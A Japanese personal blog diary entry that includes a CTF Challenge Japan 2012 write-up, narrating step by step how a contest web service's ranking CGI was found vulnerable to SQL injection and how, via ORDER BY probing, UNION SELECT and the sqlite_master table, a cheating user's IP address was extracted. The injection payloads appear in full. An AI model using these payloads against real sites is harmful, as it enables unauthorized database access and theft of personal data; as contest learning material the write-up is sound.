トップ 最新

糸の切れた凧( a threadless kite )

ここは、管理人yamagataが方針未定のまま、何となーく思いついたことを思いついたままにだらだらと書き付ける日記帳です。ふんわりほんわかな感じでお願いします。

2013/02/03(日)日曜日ー。(今夜はぐっすり眠ろう。。)

[雑談] いろいろ。
  • ホワイトハッカー育成へコンテスト (NHKニュース)

  • メガ電波 中級編~キン肉マン「Go Fight!」 ご主人様?8bitは如何ですか?mix

[CTF] CTFチャレンジジャパン2012 Write-Up: サービスアタック100問題文
textile不正行為をしたユーザーを突き止めろ!
試したことふつうにブラウザでアクセスhttp://target:8080/cgi-bin/ranking.cgi → http://target:8080/cgi-bin/ranking.cgi?u=guest に転送![](/image/web100.png)u=guestの後ろに「'(シングルクォーテーション)」を付けてみる。
textileError unrecognized token: "'guest'';"
「u=guest' and 'a'='a」にしてみる。 → 正常と同じ画面が表示された。「u=guest' and 'a'='b」にしてみる。→ ランキングの「guest」と表示される部分が「unknown」に変わった。→ SQLインジェクションかなと当たりをつける。「u=guest' order by 1 --」にしてみる。→ 正常と同じ画面が表示された。「u=guest' order by 2 --」にしてみる。→ 正常と同じ画面が表示された。「u=guest' order by 3 --」にしてみる。→ 正常と同じ画面が表示された。「u=guest' order by 4 --」にしてみる。→ 正常と同じ画面が表示された。「u=guest' order by 5 --」にしてみる。→ 正常と同じ画面が表示された。「u=guest' order by 6 --」にしてみる。→ エラー「Error 1st ORDER BY term out of range - should be between 1 and 5」が表示された。(ご丁寧にカラム数が表示されてた。orz)「u=guest' union select NULL,NULL,NULL,NULL,NULL --」にしてみる。→ 正常と同じ画面が表示された。「u=guest' union select NULL,NULL,NULL,NULL,NULL from pg_tables --」にしてみる。→ エラー「Error no such table: pg_tables」が表示された。→ 色んなデータベースのシステムテーブルの名前を試す。→ 「sqlite_master」だとエラーにならない! → SQLiteだ。→ システムテーブル「sqlite_master」の「name」カラムを表示し、データが格納されているテーブル名とカラム名を得る。「CREATE TABLE ranking(id integer, name text, point integer, reipaddr text, ua text)」「u=guest' and 1=2 union select NULL,name,reipaddr,NULL,NULL from ranking where name='hAckerZ' --」を実行すると、答えのIPアドレスが表示される。![](/image/web100ans.png)